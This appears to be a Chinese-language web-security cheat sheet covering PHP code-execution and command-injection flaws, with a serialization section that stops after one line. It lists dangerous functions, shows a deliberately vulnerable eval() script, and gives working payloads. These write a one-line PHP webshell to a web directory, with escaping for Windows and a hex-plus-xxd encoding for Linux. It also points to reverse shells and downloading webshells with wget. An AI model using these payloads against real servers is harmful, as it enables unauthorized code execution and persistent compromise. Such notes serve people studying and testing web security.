目录
一、代码执行:
- PHP: eval、assert、system、preg_replace()、+/e模式(PHP版本<5.5.0)
- Javascript: eval
- Vbscript:Execute、Eval
- Python: exec
- 代码执行产生函数:eval,assert等,
code_eval.php:
<?php
$code=$_GET["name"];
eval($code);
?>
payload:http://127.0.0.1/code_eval.php?name=echo phpinfo();
eval():将这串代码以php执行
利用:
http://127.0.0.1/code_eval.php?name= echo ^<?php eval($_POST[pandas]); ?^> >C:/wwwroot/webshell.php
二、命令执行:
命令执行产生函数:exec,shell_exec,system,passthru等将参数以dos、shell执行
exec()、system()、popen()、passthru()、proc_open()、pcntl_exec()、shell_exec() 、反引号` 实际上是使用shell_exec()函数,此外还要小心mail()函数的安全。
system() 输出并返回最后一行shell结果。
exec() 不输出结果,返回最后一行shell结果,所有结果可以保存到一个返回的数组里面。
passthru() 只调用命令,把命令的运行结果原样地直接输出到标准输出设备上。
popen()、proc_open() 不会直接返回执行结果,而是返回一个文件指针
命令执行漏洞利用:
1、可尝试进行反弹shell,搭建服务执行wget下载webshell。
2、写入webshell:
利用命令注入写一句话php webshell到web目录涉及到一些特殊字符的转义
假设需要写入<?php eval($_POST[wang]); ?>,方法如下:
Windows:
用^转义<,即执行echo ^<?php eval($_POST[kang]); ?^> > web
web可写目录加文件完整名字
Linux:
linux下需要用\来转义<,不过很多php都默认开启gpc(魔术引号magic_quotes_gpc())。可以先用16进制转换一句话再用xxd命令把16进制还原,命令如下:
echo 3c3f706870206576616c28245f504f53545b6b616e675d293b203f3e|xxd -r -ps > web
web可写目录加文件完整名字
三、序列化:
前面有%00用urlencode()